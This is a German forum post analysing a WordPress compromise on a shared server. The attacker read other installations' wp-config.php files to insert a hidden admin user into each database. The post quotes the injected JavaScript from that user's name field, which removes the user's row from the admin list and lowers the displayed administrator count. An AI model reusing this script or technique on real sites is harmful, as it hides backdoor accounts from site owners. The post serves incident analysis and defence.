Hallo hakre,
ich hab noch ein wenig nachgedacht. Bei unserem Server gibt es so einige Wordpressinstallationen und nicht alle sind aktuell. Desweiteren verwenden wir keine Abschottung der Webverzeichnisse (also kein Openbasedir und der Webserver läuft als wwwrun und kann alles sehen) voreinander. Das bedeutet, dass ein infiziertes Wordpress theoretisch nur die
wp-config.php aller anderen Installationen suchen muss, dort die Datenbankinfos findet und sich somit in die
Datenbank eintragen kann.
Das habe ich nachgeprüft und ist auch tatsächlich bei jeder Wordpressinstallation der Fall gewesen.
Befallen waren allerdings nur Installationen, die einen beschreibbaren Ordner im Pluginverzeichnis hatten. Einige luden das "Hackplugin" auch aus dem /tmp-Ordner. Befallen heißt in diesem Fall, dass Spamlinks angezeigt wurden, wenn ein Suchmaschinenbot die Seite gecrawlt hat.
Der Datenbankzugriff alleine hat ja schon bei jeder Installation einen unsichtbaren Nutzer angelegt, auch das würde ich als befallen bezeichnen :/
Übrigens stand folgendes im Namensfeld des Benutzers (überall das gleiche):
HTML-Code:
...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script> Der Code reduziert die angezeigte Anzahl der Administratoren in der Benutzerübersicht. Clever! Scheinbar wird der Name von Benutzern nicht richtig escaped? Keine Ahnung.
Also mein Fazit:
Wordpress 2.7 ist wohl nicht die Schuld zu geben, wenn ein Hack auf einer parallelen, älteren Version Dateien und Datenbankeinträge einschleust. Allerdings könnte Wordpress etwas dagegen tun, dass man überhaupt nicht mitbekommt, dass man gehackt wurde.
- Erkennung von ungewöhnlichen
Plugins bzw. wenigstens die Anzeige aller
Plugins, die durch active_plugins ausgeführt werden
- wirklich alle Benutzer anzeigen
Natürlich hilft auch das nicht, wenn man nicht ständig überprüft, ob alles seine Ordnung hat, aber besser als nichts, oder?
Grüße,
Sebbi